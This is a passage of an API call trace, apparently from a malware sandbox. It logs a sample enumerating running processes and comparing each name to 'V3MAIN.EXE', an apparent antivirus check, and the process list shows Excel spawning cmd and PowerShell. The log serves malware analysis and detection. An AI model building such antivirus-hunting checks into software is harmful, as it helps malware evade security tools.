lpsz="SVCHOST.EXE") returned 0xb [0074.531] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.531] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.531] lstrcpyW (in: lpString1=0x18f0b0, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0074.531] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.531] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0074.531] lstrcmpW (lpString1="WMIPRVSE.EXE", lpString2="V3MAIN.EXE") returned 1 [0074.531] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0074.532] lstrcpyW (in: lpString1=0x18f0b0, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0074.532] lstrlenW (lpString="sppsvc.exe") returned 10 [0074.532] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0074.532] lstrcmpW (lpString1="SPPSVC.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.532] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0074.532] lstrcpyW (in: lpString1=0x18f0b0, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0074.532] lstrlenW (lpString="dwm.exe") returned 7 [0074.532] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0074.532] lstrcmpW (lpString1="DWM.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.532] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x414, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0074.533] lstrcpyW (in: lpString1=0x18f0b0, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0074.533] lstrlenW (lpString="explorer.exe") returned 12 [0074.533] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0074.533] lstrcmpW (lpString1="EXPLORER.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.533] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0074.533] lstrcpyW (in: lpString1=0x18f0b0, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0074.533] lstrlenW (lpString="audiodg.exe") returned 11 [0074.533] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0074.533] lstrcmpW (lpString1="AUDIODG.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.533] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.534] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.534] lstrlenW (lpString="svchost.exe") returned 11 [0074.534] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.534] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.534] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.534] lstrcpyW (in: lpString1=0x18f0b0, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0074.534] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.534] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0074.534] lstrcmpW (lpString1="WMIPRVSE.EXE", lpString2="V3MAIN.EXE") returned 1 [0074.534] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.535] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0074.535] lstrlenW (lpString="taskhost.exe") returned 12 [0074.535] CharUpperBuffW (in: lpsz="taskhost.exe", cchLength=0xc | out: lpsz="TASKHOST.EXE") returned 0xc [0074.535] lstrcmpW (lpString1="TASKHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.535] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana-reaction.exe")) returned 1 [0074.535] lstrcpyW (in: lpString1=0x18f0b0, lpString2="ghana-reaction.exe" | out: lpString1="ghana-reaction.exe") returned="ghana-reaction.exe" [0074.535] lstrlenW (lpString="ghana-reaction.exe") returned 18 [0074.535] CharUpperBuffW (in: lpsz="ghana-reaction.exe", cchLength=0x12 | out: lpsz="GHANA-REACTION.EXE") returned 0x12 [0074.535] lstrcmpW (lpString1="GHANA-REACTION.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.535] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="survive recipes.exe")) returned 1 [0074.536] lstrcpyW (in: lpString1=0x18f0b0, lpString2="survive recipes.exe" | out: lpString1="survive recipes.exe") returned="survive recipes.exe" [0074.536] lstrlenW (lpString="survive recipes.exe") returned 19 [0074.536] CharUpperBuffW (in: lpsz="survive recipes.exe", cchLength=0x13 | out: lpsz="SURVIVE RECIPES.EXE") returned 0x13 [0074.536] lstrcmpW (lpString1="SURVIVE RECIPES.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.536] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiley listprice immigration mn.exe")) returned 1 [0074.536] lstrcpyW (in: lpString1=0x18f0b0, lpString2="wiley listprice immigration mn.exe" | out: lpString1="wiley listprice immigration mn.exe") returned="wiley listprice immigration mn.exe" [0074.536] lstrlenW (lpString="wiley listprice immigration mn.exe") returned 34 [0074.536] CharUpperBuffW (in: lpsz="wiley listprice immigration mn.exe", cchLength=0x22 | out: lpsz="WILEY LISTPRICE IMMIGRATION MN.EXE") returned 0x22 [0074.536] lstrcmpW (lpString1="WILEY LISTPRICE IMMIGRATION MN.EXE", lpString2="V3MAIN.EXE") returned 1 [0074.536] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="temp la various.exe")) returned 1 [0074.536] lstrcpyW (in: lpString1=0x18f0b0, lpString2="temp la various.exe" | out: lpString1="temp la various.exe") returned="temp la various.exe" [0074.537] lstrlenW (lpString="temp la various.exe") returned 19 [0074.537] CharUpperBuffW (in: lpsz="temp la various.exe", cchLength=0x13 | out: lpsz="TEMP LA VARIOUS.EXE") returned 0x13 [0074.537] lstrcmpW (lpString1="TEMP LA VARIOUS.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.537] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan storm.exe")) returned 1 [0074.537] lstrcpyW (in: lpString1=0x18f0b0, lpString2="metropolitan storm.exe" | out: lpString1="metropolitan storm.exe") returned="metropolitan storm.exe" [0074.537] lstrlenW (lpString="metropolitan storm.exe") returned 22 [0074.537] CharUpperBuffW (in: lpsz="metropolitan storm.exe", cchLength=0x16 | out: lpsz="METROPOLITAN STORM.EXE") returned 0x16 [0074.537] lstrcmpW (lpString1="METROPOLITAN STORM.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.537] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats-viewing-llc.exe")) returned 1 [0074.537] lstrcpyW (in: lpString1=0x18f0b0, lpString2="thats-viewing-llc.exe" | out: lpString1="thats-viewing-llc.exe") returned="thats-viewing-llc.exe" [0074.537] lstrlenW (lpString="thats-viewing-llc.exe") returned 21 [0074.537] CharUpperBuffW (in: lpsz="thats-viewing-llc.exe", cchLength=0x15 | out: lpsz="THATS-VIEWING-LLC.EXE") returned 0x15 [0074.538] lstrcmpW (lpString1="THATS-VIEWING-LLC.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.538] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="houses.exe")) returned 1 [0074.538] lstrcpyW (in: lpString1=0x18f0b0, lpString2="houses.exe" | out: lpString1="houses.exe") returned="houses.exe" [0074.538] lstrlenW (lpString="houses.exe") returned 10 [0074.538] CharUpperBuffW (in: lpsz="houses.exe", cchLength=0xa | out: lpsz="HOUSES.EXE") returned 0xa [0074.538] lstrcmpW (lpString1="HOUSES.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.538] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="renewal.exe")) returned 1 [0074.538] lstrcpyW (in: lpString1=0x18f0b0, lpString2="renewal.exe" | out: lpString1="renewal.exe") returned="renewal.exe" [0074.538] lstrlenW (lpString="renewal.exe") returned 11 [0074.538] CharUpperBuffW (in: lpsz="renewal.exe", cchLength=0xb | out: lpsz="RENEWAL.EXE") returned 0xb [0074.538] lstrcmpW (lpString1="RENEWAL.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.538] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="zones transferred trainers.exe")) returned 1 [0074.539] lstrcpyW (in: lpString1=0x18f0b0, lpString2="zones transferred trainers.exe" | out: lpString1="zones transferred trainers.exe") returned="zones transferred trainers.exe" [0074.539] lstrlenW (lpString="zones transferred trainers.exe") returned 30 [0074.539] CharUpperBuffW (in: lpsz="zones transferred trainers.exe", cchLength=0x1e | out: lpsz="ZONES TRANSFERRED TRAINERS.EXE") returned 0x1e [0074.539] lstrcmpW (lpString1="ZONES TRANSFERRED TRAINERS.EXE", lpString2="V3MAIN.EXE") returned 1 [0074.539] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="courses ham.exe")) returned 1 [0074.539] lstrcpyW (in: lpString1=0x18f0b0, lpString2="courses ham.exe" | out: lpString1="courses ham.exe") returned="courses ham.exe" [0074.539] lstrlenW (lpString="courses ham.exe") returned 15 [0074.539] CharUpperBuffW (in: lpsz="courses ham.exe", cchLength=0xf | out: lpsz="COURSES HAM.EXE") returned 0xf [0074.539] lstrcmpW (lpString1="COURSES HAM.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.539] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="canon.exe")) returned 1 [0074.540] lstrcpyW (in: lpString1=0x18f0b0, lpString2="canon.exe" | out: lpString1="canon.exe") returned="canon.exe" [0074.540] lstrlenW (lpString="canon.exe") returned 9 [0074.540] CharUpperBuffW (in: lpsz="canon.exe", cchLength=0x9 | out: lpsz="CANON.EXE") returned 0x9 [0074.540] lstrcmpW (lpString1="CANON.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.540] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fairlysettingoperational.exe")) returned 1 [0074.540] lstrcpyW (in: lpString1=0x18f0b0, lpString2="fairlysettingoperational.exe" | out: lpString1="fairlysettingoperational.exe") returned="fairlysettingoperational.exe" [0074.540] lstrlenW (lpString="fairlysettingoperational.exe") returned 28 [0074.540] CharUpperBuffW (in: lpsz="fairlysettingoperational.exe", cchLength=0x1c | out: lpsz="FAIRLYSETTINGOPERATIONAL.EXE") returned 0x1c [0074.540] lstrcmpW (lpString1="FAIRLYSETTINGOPERATIONAL.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.540] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="claimed desk.exe")) returned 1 [0074.541] lstrcpyW (in: lpString1=0x18f0b0, lpString2="claimed desk.exe" | out: lpString1="claimed desk.exe") returned="claimed desk.exe" [0074.541] lstrlenW (lpString="claimed desk.exe") returned 16 [0074.541] CharUpperBuffW (in: lpsz="claimed desk.exe", cchLength=0x10 | out: lpsz="CLAIMED DESK.EXE") returned 0x10 [0074.541] lstrcmpW (lpString1="CLAIMED DESK.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.541] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mel_ds_cancelled.exe")) returned 1 [0074.541] lstrcpyW (in: lpString1=0x18f0b0, lpString2="mel_ds_cancelled.exe" | out: lpString1="mel_ds_cancelled.exe") returned="mel_ds_cancelled.exe" [0074.541] lstrlenW (lpString="mel_ds_cancelled.exe") returned 20 [0074.541] CharUpperBuffW (in: lpsz="mel_ds_cancelled.exe", cchLength=0x14 | out: lpsz="MEL_DS_CANCELLED.EXE") returned 0x14 [0074.541] lstrcmpW (lpString1="MEL_DS_CANCELLED.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.541] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="appears_li_pressed_h.exe")) returned 1 [0074.542] lstrcpyW (in: lpString1=0x18f0b0, lpString2="appears_li_pressed_h.exe" | out: lpString1="appears_li_pressed_h.exe") returned="appears_li_pressed_h.exe" [0074.542] lstrlenW (lpString="appears_li_pressed_h.exe") returned 24 [0074.542] CharUpperBuffW (in: lpsz="appears_li_pressed_h.exe", cchLength=0x18 | out: lpsz="APPEARS_LI_PRESSED_H.EXE") returned 0x18 [0074.542] lstrcmpW (lpString1="APPEARS_LI_PRESSED_H.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.542] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="quite-consumer-opera.exe")) returned 1 [0074.542] lstrcpyW (in: lpString1=0x18f0b0, lpString2="quite-consumer-opera.exe" | out: lpString1="quite-consumer-opera.exe") returned="quite-consumer-opera.exe" [0074.542] lstrlenW (lpString="quite-consumer-opera.exe") returned 24 [0074.542] CharUpperBuffW (in: lpsz="quite-consumer-opera.exe", cchLength=0x18 | out: lpsz="QUITE-CONSUMER-OPERA.EXE") returned 0x18 [0074.542] lstrcmpW (lpString1="QUITE-CONSUMER-OPERA.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.542] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="tile-conflict-specializing-authentic.exe")) returned 1 [0074.543] lstrcpyW (in: lpString1=0x18f0b0, lpString2="tile-conflict-specializing-authentic.exe" | out: lpString1="tile-conflict-specializing-authentic.exe") returned="tile-conflict-specializing-authentic.exe" [0074.543] lstrlenW (lpString="tile-conflict-specializing-authentic.exe") returned 40 [0074.543] CharUpperBuffW (in: lpsz="tile-conflict-specializing-authentic.exe", cchLength=0x28 | out: lpsz="TILE-CONFLICT-SPECIALIZING-AUTHENTIC.EXE") returned 0x28 [0074.543] lstrcmpW (lpString1="TILE-CONFLICT-SPECIALIZING-AUTHENTIC.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.543] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlimited breakdown.exe")) returned 1 [0074.543] lstrcpyW (in: lpString1=0x18f0b0, lpString2="unlimited breakdown.exe" | out: lpString1="unlimited breakdown.exe") returned="unlimited breakdown.exe" [0074.543] lstrlenW (lpString="unlimited breakdown.exe") returned 23 [0074.543] CharUpperBuffW (in: lpsz="unlimited breakdown.exe", cchLength=0x17 | out: lpsz="UNLIMITED BREAKDOWN.EXE") returned 0x17 [0074.543] lstrcmpW (lpString1="UNLIMITED BREAKDOWN.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.543] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="aluminiumglmessagesymptoms.exe")) returned 1 [0074.544] lstrcpyW (in: lpString1=0x18f0b0, lpString2="aluminiumglmessagesymptoms.exe" | out: lpString1="aluminiumglmessagesymptoms.exe") returned="aluminiumglmessagesymptoms.exe" [0074.544] lstrlenW (lpString="aluminiumglmessagesymptoms.exe") returned 30 [0074.544] CharUpperBuffW (in: lpsz="aluminiumglmessagesymptoms.exe", cchLength=0x1e | out: lpsz="ALUMINIUMGLMESSAGESYMPTOMS.EXE") returned 0x1e [0074.544] lstrcmpW (lpString1="ALUMINIUMGLMESSAGESYMPTOMS.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.544] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="EXCEL.EXE")) returned 1 [0074.544] lstrcpyW (in: lpString1=0x18f0b0, lpString2="EXCEL.EXE" | out: lpString1="EXCEL.EXE") returned="EXCEL.EXE" [0074.544] lstrlenW (lpString="EXCEL.EXE") returned 9 [0074.544] CharUpperBuffW (in: lpsz="EXCEL.EXE", cchLength=0x9 | out: lpsz="EXCEL.EXE") returned 0x9 [0074.544] lstrcmpW (lpString1="EXCEL.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.544] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0074.545] lstrcpyW (in: lpString1=0x18f0b0, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0074.545] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0074.545] CharUpperBuffW (in: lpsz="OSPPSVC.EXE", cchLength=0xb | out: lpsz="OSPPSVC.EXE") returned 0xb [0074.545] lstrcmpW (lpString1="OSPPSVC.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.545] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="MSOSYNC.EXE")) returned 1 [0074.545] lstrcpyW (in: lpString1=0x18f0b0, lpString2="MSOSYNC.EXE" | out: lpString1="MSOSYNC.EXE") returned="MSOSYNC.EXE" [0074.545] lstrlenW (lpString="MSOSYNC.EXE") returned 11 [0074.545] CharUpperBuffW (in: lpsz="MSOSYNC.EXE", cchLength=0xb | out: lpsz="MSOSYNC.EXE") returned 0xb [0074.545] lstrcmpW (lpString1="MSOSYNC.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.545] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.546] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.546] lstrlenW (lpString="svchost.exe") returned 11 [0074.546] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.546] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.546] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.546] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.546] lstrlenW (lpString="cmd.exe") returned 7 [0074.546] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.546] lstrcmpW (lpString1="CMD.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.546] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.547] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.547] lstrlenW (lpString="conhost.exe") returned 11 [0074.547] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.547] lstrcmpW (lpString1="CONHOST.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.547] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0xb94, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0074.547] lstrcpyW (in: lpString1=0x18f0b0, lpString2="powershell.exe" | out: lpString1="powershell.exe") returned="powershell.exe" [0074.547] lstrlenW (lpString="powershell.exe") returned 14 [0074.547] CharUpperBuffW (in: lpsz="powershell.exe", cchLength=0xe | out: lpsz="POWERSHELL.EXE") returned 0xe [0074.547] lstrcmpW (lpString1="POWERSHELL.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.547] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd_.exe")) returned 1 [0074.548] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd_.exe" | out: lpString1="cmd_.exe") returned="cmd_.exe" [0074.548] lstrlenW (lpString="cmd_.exe") returned 8 [0074.548] CharUpperBuffW (in: lpsz="cmd_.exe", cchLength=0x8 | out: lpsz="CMD_.EXE") returned 0x8 [0074.548] lstrcmpW (lpString1="CMD_.EXE", lpString2="V3MAIN.EXE") returned -1 [0074.548] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.548] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0074.548] lstrlenW (lpString="taskeng.exe") returned 11 [0074.548] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0074.548] lstrcmpW (lpString1="TASKENG.EXE", 